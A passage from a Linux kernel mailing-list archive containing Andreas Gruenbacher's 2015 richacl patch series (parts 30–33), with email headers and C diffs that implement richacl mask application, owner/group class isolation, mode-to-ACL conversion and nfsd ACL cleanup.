+++++++++++++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 16deeb4..21ee31e 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -462,3 +462,44 @@ richacl_set_owner_permissions(struct richacl_alloc *alloc) } return 0; } + +/** + * richacl_set_other_permissions - set the other permissions to the other mask + * @alloc: acl and number of allocated entries + * @added: permissions added for everyone@ + * + * Change the acl so that everyone@ is granted the permissions set in the other + * mask. This leaves at most one efective everyone@ allow entry at the end of + * the acl. If everyone@ end up being granted additional permissions, these + * permissions are returned in @added. + */ +static int +richacl_set_other_permissions(struct richacl_alloc *alloc, unsigned int *added) +{ + struct richacl *acl = alloc->acl; + unsigned int x = RICHACE_POSIX_ALWAYS_ALLOWED; + unsigned int other_mask = acl->a_other_mask & ~x; + struct richace *ace; + + if (!(other_mask && + (acl->a_flags & RICHACL_WRITE_THROUGH))) + return 0; + + *added = other_mask; + ace = acl->a_entries + acl->a_count - 1; + if (acl->a_count == 0 || + !richace_is_everyone(ace) || + richace_is_inherit_only(ace)) { + ace++; + if (richacl_insert_entry(alloc, &ace)) + return -1; + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = other_mask; + ace->e_id.special = RICHACE_EVERYONE_SPECIAL_ID; + } else { + *added &= ~ace->e_mask; + richace_change_mask(alloc, &ace, other_mask); + } + return 0; +} -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:21:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 68D147F96 for ; Fri, 16 Oct 2015 10:21:56 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 49EAA8F8066 for ; Fri, 16 Oct 2015 08:21:56 -0700 (PDT) X-ASG-Debug-ID: 1445008914-04cb6c3cec3a0c0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CihYd3ACx91Qsvtz (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:21:54 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id BF6B9C0AED2A; Fri, 16 Oct 2015 15:21:53 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcD011947; Fri, 16 Oct 2015 11:21:47 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 30/48] richacl: Isolate the owner and group classes Date: Fri, 16 Oct 2015 17:18:08 +0200 X-ASG-Orig-Subj: [PATCH v11 30/48] richacl: Isolate the owner and group classes Message-Id: <1445008706-15115-31-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008914 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 When applying the file masks to an acl, we need to ensure that no process gets more permissions than allowed by its file mask. This may require inserting an owner@ deny ace to ensure this if the owner mask contains fewer permissions than the group or other mask. For example, when applying mode 0446 to the following acl: everyone@:rw::allow A deny ace needs to be inserted so that the owner won't get elevated write access: owner@:w::deny everyone@:rw::allow Likewise, we may need to insert group class deny aces if the group mask contains fewer permissions than the other mask. For example, when applying mode 0646 to the following acl: owner@:rw::allow everyone@:rw::allow A deny ace needs to be inserted so that the owning group won't get elevated write access: owner@:rw::allow group@:w::deny everyone@:rw::allow Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 223 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 223 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 21ee31e..7e25343 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -503,3 +503,226 @@ richacl_set_other_permissions(struct richacl_alloc *alloc, unsigned int *added) } return 0; } + +/** + * richacl_max_allowed - maximum permissions that anybody is allowed + */ +static unsigned int +richacl_max_allowed(struct richacl *acl) +{ + struct richace *ace; + unsigned int allowed = 0; + + richacl_for_each_entry_reverse(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_allow(ace)) + allowed |= ace->e_mask; + else if (richace_is_deny(ace)) { + if (richace_is_everyone(ace)) + allowed &= ~ace->e_mask; + } + } + return allowed; +} + +/** + * richacl_isolate_owner_class - limit the owner class to the owner file mask + * @alloc: acl and number of allocated entries + * + * POSIX requires that after a chmod, the owner class is granted no more + * permissions than the owner file permission bits. For richacls, this + * means that the owner class must not be granted any permissions that the + * owner mask does not include. + * + * When we apply file masks to an acl which grant more permissions to the group + * or other class than to the owner class, we may end up in a situation where + * the owner is granted additional permissions from other aces. For example, + * given this acl: + * + * everyone@:rwx::allow + * + * when file masks corresponding to mode 0406 are applied, after + * richacl_propagate_everyone() and __richacl_apply_masks(), we end up with: + * + * owner@:r::allow + * everyone@:rw::allow + * + * This acl still grants the owner rw access through the everyone@ allow ace. + * To fix this, we must deny the owner w access: + * + * owner@:w::deny + * owner@:r::allow + * everyone@:rw::allow + */ +static int +richacl_isolate_owner_class(struct richacl_alloc *alloc) +{ + struct richacl *acl = alloc->acl; + struct richace *ace; + unsigned int deny; + + deny = richacl_max_allowed(acl) & ~acl->a_owner_mask; + if (!deny) + return 0; + + /* + * Figure out if we can update an existig OWNER@ DENY entry. + */ + richacl_for_each_entry(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_allow(ace)) + break; + if (richace_is_owner(ace)) + return richace_change_mask(alloc, &ace, + ace->e_mask | deny); + } + + /* Insert an owner@ deny entry at the front. */ + ace = acl->a_entries; + if (richacl_insert_entry(alloc, &ace)) + return -1; + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = deny; + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; + return 0; +} + +/** + * __richacl_isolate_who - isolate entry from everyone@ allow entry + * @alloc: acl and number of allocated entries + * @who: identifier to isolate + * @deny: permissions this identifier should not be allowed + * + * See richacl_isolate_group_class(). + */ +static int +__richacl_isolate_who(struct richacl_alloc *alloc, struct richace *who, + unsigned int deny) +{ + struct richacl *acl = alloc->acl; + struct richace *ace, who_copy; + int n; + + /* + * Compute the permissions already defined for @who. There are no + * everyone@ deny aces left in the acl at this stage. + */ + richacl_for_each_entry(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_same_identifier(ace, who)) + deny &= ~ace->e_mask; + } + if (!deny) + return 0; + + /* + * Figure out if we can update an existig deny entry. Start from the + * entry before the trailing everyone@ allow entry. We will not hit + * everyone@ entries in the loop. + */ + for (n = acl->a_count - 2; n != -1; n--) { + ace = acl->a_entries + n; + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_deny(ace)) { + if (richace_is_same_identifier(ace, who)) + return richace_change_mask(alloc, &ace, + ace->e_mask | deny); + } else if (richace_is_allow(ace) && + (ace->e_mask & deny)) + break; + } + + /* + * Insert a new entry before the trailing everyone@ deny entry. + */ + richace_copy(&who_copy, who); + ace = acl->a_entries + acl->a_count - 1; + if (richacl_insert_entry(alloc, &ace)) + return -1; + richace_copy(ace, &who_copy); + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; + ace->e_mask = deny; + return 0; +} + +/** + * richacl_isolate_group_class - limit the group class to the group file mask + * @alloc: acl and number of allocated entries + * @deny: additional permissions to deny + * + * POSIX requires that after a chmod, the group class is granted no more + * permissions than the group file permission bits. For richacls, this + * means that the group class must not be granted any permissions that the + * group mask does not include. + * + * When we apply file masks to an acl which grant more permissions to the other + * class than to the group class, we may end up in a situation where processes + * in the group class are granted additional permission from other aces. For + * example, given this acl: + * + * joe:rwx::allow + * everyone@:rwx::allow + * + * when file masks corresponding to mode 0646 are applied, after + * richacl_propagate_everyone() and __richacl_apply_masks(), we end up with: + * + * joe:r::allow + * owner@:rw::allow + * group@:r::allow + * everyone@:rw::allow + * + * This acl still grants joe and group@ rw access through the everyone@ allow + * ace. To fix this, we must deny w access to group class aces before the + * everyone@ allow ace at the end of the acl: + * + * joe:r::allow + * owner@:rw::allow + * group@:r::allow + * joe:w::deny + * group@:w::deny + * everyone@:rw::allow + */ +static int +richacl_isolate_group_class(struct richacl_alloc *alloc, unsigned int deny) +{ + struct richace who = { + .e_flags = RICHACE_SPECIAL_WHO, + .e_id.special = RICHACE_GROUP_SPECIAL_ID, + }; + struct richace *ace; + + if (!alloc->acl->a_count) + return 0; + ace = alloc->acl->a_entries + alloc->acl->a_count - 1; + if (richace_is_inherit_only(ace) || !richace_is_everyone(ace)) + return 0; + deny |= ace->e_mask & ~alloc->acl->a_group_mask; + + if (deny) { + unsigned int n; + + if (__richacl_isolate_who(alloc, &who, deny)) + return -1; + /* + * Start from the entry before the trailing everyone@ allow + * entry. We will not hit everyone@ entries in the loop. + */ + for (n = alloc->acl->a_count - 2; n != -1; n--) { + ace = alloc->acl->a_entries + n; + + if (richace_is_inherit_only(ace) || + richace_is_owner(ace) || + richace_is_group(ace)) + continue; + if (__richacl_isolate_who(alloc, ace, deny)) + return -1; + } + } + return 0; +} -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:22:02 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 961347F9C for ; Fri, 16 Oct 2015 10:22:02 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 72952304053 for ; Fri, 16 Oct 2015 08:22:02 -0700 (PDT) X-ASG-Debug-ID: 1445008920-04cb6c3cec3a0d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id f91SOhCSfy5WlRBy (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:22:00 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 47B3E461C3; Fri, 16 Oct 2015 15:22:00 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcE011947; Fri, 16 Oct 2015 11:21:54 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 31/48] richacl: Apply the file masks to a richacl Date: Fri, 16 Oct 2015 17:18:09 +0200 X-ASG-Orig-Subj: [PATCH v11 31/48] richacl: Apply the file masks to a richacl Message-Id: <1445008706-15115-32-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008920 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Put all the pieces of the acl transformation puzzle together for computing a richacl which has the file masks "applied" so that the standard nfsv4 access check algorithm can be used on the richacl. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 101 ++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 3 ++ 2 files changed, 104 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 7e25343..c99274f 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -726,3 +726,104 @@ richacl_isolate_group_class(struct richacl_alloc *alloc, unsigned int deny) } return 0; } + +/** + * __richacl_apply_masks - apply the file masks to all aces + * @alloc: acl and number of allocated entries + * + * Apply the owner mask to owner@ aces, the other mask to + * everyone@ aces, and the group mask to all other aces. + * + * The previous transformations have brought the acl into a + * form in which applying the masks will not lead to the + * accidental loss of permissions anymore. + */ +static int +__richacl_apply_masks(struct richacl_alloc *alloc, kuid_t owner) +{ + struct richace *ace; + + richacl_for_each_entry(ace, alloc->acl) { + unsigned int mask; + + if (richace_is_inherit_only(ace) || !richace_is_allow(ace)) + continue; + if (richace_is_owner(ace) || + (richace_is_unix_user(ace) && uid_eq(owner, ace->e_id.uid))) + mask = alloc->acl->a_owner_mask; + else if (richace_is_everyone(ace)) + mask = alloc->acl->a_other_mask; + else + mask = alloc->acl->a_group_mask; + if (richace_change_mask(alloc, &ace, ace->e_mask & mask)) + return -1; + } + return 0; +} + +/** + * richacl_apply_masks - apply the masks to the acl + * + * Transform @acl so that the standard NFSv4 permission check algorithm (which + * is not aware of file masks) will compute the same access decisions as the + * richacl permission check algorithm (which looks at the acl and the file + * masks). + * + * This algorithm is split into several steps: + * + * - Move everyone@ aces to the end of the acl. This simplifies the other + * transformations, and allows the everyone@ allow ace at the end of the + * acl to eventually allow permissions to the other class only. + * + * - Propagate everyone@ permissions up the acl. This transformation makes + * sure that the owner and group class aces won't lose any permissions when + * we apply the other mask to the everyone@ allow ace at the end of the acl. + * + * - Apply the file masks to all aces. + * + * - Make sure everyone is granted the other mask permissions. This step can + * elevate elevate permissions for the owner and group classes, which is + * corrected later. + * + * - Make sure that the group class is not granted any permissions from + * everyone@. + * + * - Make sure the owner is granted the owner mask permissions. + * + * - Make sure the owner is not granted any permissions beyond the owner + * mask from group class aces or from everyone@. + * + * NOTE: Depending on the acl and file masks, this algorithm can increase the + * number of aces by almost a factor of three in the worst case. This may make + * the acl too large for some purposes. + */ +int +richacl_apply_masks(struct richacl **acl, kuid_t owner) +{ + if ((*acl)->a_flags & RICHACL_MASKED) { + struct richacl_alloc alloc = { + .acl = richacl_clone(*acl, GFP_KERNEL), + .count = (*acl)->a_count, + }; + unsigned int added = 0; + + if (!alloc.acl) + return -ENOMEM; + if (richacl_move_everyone_aces_down(&alloc) || + richacl_propagate_everyone(&alloc) || + __richacl_apply_masks(&alloc, owner) || + richacl_set_other_permissions(&alloc, &added) || + richacl_isolate_group_class(&alloc, added) || + richacl_set_owner_permissions(&alloc) || + richacl_isolate_owner_class(&alloc)) { + richacl_put(alloc.acl); + return -ENOMEM; + } + + alloc.acl->a_flags &= ~(RICHACL_WRITE_THROUGH | RICHACL_MASKED); + richacl_put(*acl); + *acl = alloc.acl; + } + return 0; +} +EXPORT_SYMBOL_GPL(richacl_apply_masks); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 67843a6..3f3445b 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -247,4 +247,7 @@ extern int richacl_permission(struct inode *, const struct richacl *, int); extern int richacl_chmod(struct inode *, umode_t); extern struct richacl *richacl_create(umode_t *, struct inode *); +/* richacl_compat.c */ +extern int richacl_apply_masks(struct richacl **, kuid_t); + #endif /* __RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:22:08 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8B32C7FF7 for ; Fri, 16 Oct 2015 10:22:08 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 224B5AC002 for ; Fri, 16 Oct 2015 08:22:08 -0700 (PDT) X-ASG-Debug-ID: 1445008927-04bdf06db272c70001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id qzcBZPss2BkBQmoa (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:22:07 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id DBC004C0B3; Fri, 16 Oct 2015 15:22:06 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcF011947; Fri, 16 Oct 2015 11:22:00 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 32/48] richacl: Create richacl from mode values Date: Fri, 16 Oct 2015 17:18:10 +0200 X-ASG-Orig-Subj: [PATCH v11 32/48] richacl: Create richacl from mode values Message-Id: <1445008706-15115-33-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008927 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 A file can have "no acl" in the sense that only the file mode permission bits determine access. In that case, the getxattr system call fails with errno == ENODATA (No such attribute). Over the NFSv4 protocol, a file always has an acl, and we convert the file mode permission bits into an equivalent acl with richacl_from_mode. Such "trivial" acls can be converted back to a file mode with richacl_equiv_mode. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 88 +++++++++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl.h | 1 + 2 files changed, 89 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index c99274f..e513958 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -827,3 +827,91 @@ richacl_apply_masks(struct richacl **acl, kuid_t owner) return 0; } EXPORT_SYMBOL_GPL(richacl_apply_masks); + +/** + * richacl_from_mode - create an acl which corresponds to @mode + * + * The resulting acl doesn't have the RICHACL_MASKED flag set. + * + * @mode: file mode including the file type + */ +struct richacl * +richacl_from_mode(umode_t mode) +{ + unsigned int owner_mask = richacl_mode_to_mask(mode >> 6); + unsigned int group_mask = richacl_mode_to_mask(mode >> 3); + unsigned int other_mask = richacl_mode_to_mask(mode); + unsigned int denied; + unsigned int entries = 0; + struct richacl *acl; + struct richace *ace; + + /* RICHACE_DELETE_CHILD is meaningless for non-directories. */ + if (!S_ISDIR(mode)) { + owner_mask &= ~RICHACE_DELETE_CHILD; + group_mask &= ~RICHACE_DELETE_CHILD; + other_mask &= ~RICHACE_DELETE_CHILD; + } + + denied = ~owner_mask & (group_mask | other_mask); + if (denied) + entries++; /* owner@ deny entry needed */ + if (owner_mask & ~(group_mask & other_mask)) + entries++; /* owner@ allow entry needed */ + denied = ~group_mask & other_mask; + if (denied) + entries++; /* group@ deny entry needed */ + if (group_mask & ~other_mask) + entries++; /* group@ allow entry needed */ + if (other_mask) + entries++; /* everyone@ allow entry needed */ + + acl = richacl_alloc(entries, GFP_KERNEL); + if (!acl) + return NULL; + acl->a_owner_mask = owner_mask; + acl->a_group_mask = group_mask; + acl->a_other_mask = other_mask; + ace = acl->a_entries; + + denied = ~owner_mask & (group_mask | other_mask); + if (denied) { + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = denied; + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; + ace++; + } + if (owner_mask & ~(group_mask & other_mask)) { + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = owner_mask; + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; + ace++; + } + denied = ~group_mask & other_mask; + if (denied) { + ace->e_type = RICHACE_ACCESS_DENIED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = denied; + ace->e_id.special = RICHACE_GROUP_SPECIAL_ID; + ace++; + } + if (group_mask & ~other_mask) { + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = group_mask; + ace->e_id.special = RICHACE_GROUP_SPECIAL_ID; + ace++; + } + if (other_mask) { + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = other_mask; + ace->e_id.special = RICHACE_EVERYONE_SPECIAL_ID; + ace++; + } + + return acl; +} +EXPORT_SYMBOL_GPL(richacl_from_mode); diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 3f3445b..6d2e5bd 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -249,5 +249,6 @@ extern struct richacl *richacl_create(umode_t *, struct inode *); /* richacl_compat.c */ extern int richacl_apply_masks(struct richacl **, kuid_t); +extern struct richacl *richacl_from_mode(umode_t); #endif /* __RICHACL_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:22:16 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D3CE67F9C for ; Fri, 16 Oct 2015 10:22:15 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4ED7FAC002 for ; Fri, 16 Oct 2015 08:22:15 -0700 (PDT) X-ASG-Debug-ID: 1445008933-04cb6c3cee3a100001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 7TblE0aQaHwORSbK (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:22:14 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 72BF1C0BFD04; Fri, 16 Oct 2015 15:22:13 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcG011947; Fri, 16 Oct 2015 11:22:07 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 33/48] nfsd: Keep list of acls to dispose of in compoundargs Date: Fri, 16 Oct 2015 17:18:11 +0200 X-ASG-Orig-Subj: [PATCH v11 33/48] nfsd: Keep list of acls to dispose of in compoundargs Message-Id: <1445008706-15115-34-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008933 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 We will decode acls in requests into richacls. Even if unlikely, there can be more than one acl in a single request; those richacls need to be richacl_put() at the end of the request instead of kfree()d, so keep a list of acls in compoundargs for that. Signed-off-by: Andreas Gruenbacher Acked-by: J. Bruce Fields --- fs/nfsd/nfs4xdr.c | 27 +++++++++++++++++++++++++++ fs/nfsd/xdr4.h | 6 ++++++ 2 files changed, 33 insertions(+) diff --git a/fs/nfsd/nfs4xdr.c b/fs/nfsd/nfs4xdr.c index 51c9e9c..b8db5a7 100644 --- a/fs/nfsd/nfs4xdr.c +++ b/fs/nfsd/nfs4xdr.c @@ -40,6 +40,7 @@ #include #include #include +#include #include "idmap.h" #include "acl.h" @@ -196,6 +197,24 @@ svcxdr_tmpalloc(struct nfsd4_compoundargs *argp, u32 len) return tb->buf; } +static struct richacl * +svcxdr_alloc_richacl(struct nfsd4_compoundargs *argp, u32 nace) +{ + struct svcxdr_richacl *acls; + + acls = kmalloc(sizeof(*acls), GFP_KERNEL); + if (!acls) + return NULL; + acls->acl = richacl_alloc(nace, GFP_KERNEL); + if (!acls->acl) { + kfree(acls); + return NULL; + } + acls->next = argp->acls; + argp->acls = acls; + return acls->acl; +} + /* * For xdr strings that need to be passed to other kernel api's * as null-terminated strings. @@ -4437,6 +4456,13 @@ int nfsd4_release_compoundargs(void *rq, __be32 *p, void *resp) args->to_free = tb->next; kfree(tb); } + while (args->acls) { + struct svcxdr_richacl *acls = args->acls; + + args->acls = acls->next; + richacl_put(acls->acl); + kfree(acls); + } return 1; } @@ -4455,6 +4481,7 @@ nfs4svc_decode_compoundargs(struct svc_rqst *rqstp, __be32 *p, struct nfsd4_comp args->pagelen = rqstp->rq_arg.page_len; args->tmpp = NULL; args->to_free = NULL; + args->acls = NULL; args->ops = args->iops; args->rqstp = rqstp; diff --git a/fs/nfsd/xdr4.h b/fs/nfsd/xdr4.h index 9f99100..b698585 100644 --- a/fs/nfsd/xdr4.h +++ b/fs/nfsd/xdr4.h @@ -570,6 +570,11 @@ struct svcxdr_tmpbuf { char buf[]; }; +struct svcxdr_richacl { + struct svcxdr_richacl *next; + struct richacl *acl; +}; + struct nfsd4_compoundargs { /* scratch variables for XDR decode */ __be32 * p; @@ -579,6 +584,7 @@ struct nfsd4_compoundargs { __be32 tmp[8]; __be32 * tmpp; struct svcxdr_tmpbuf *to_free; + struct svcxdr_richacl *acls; struct svc_rqst *rqstp; -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:22:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 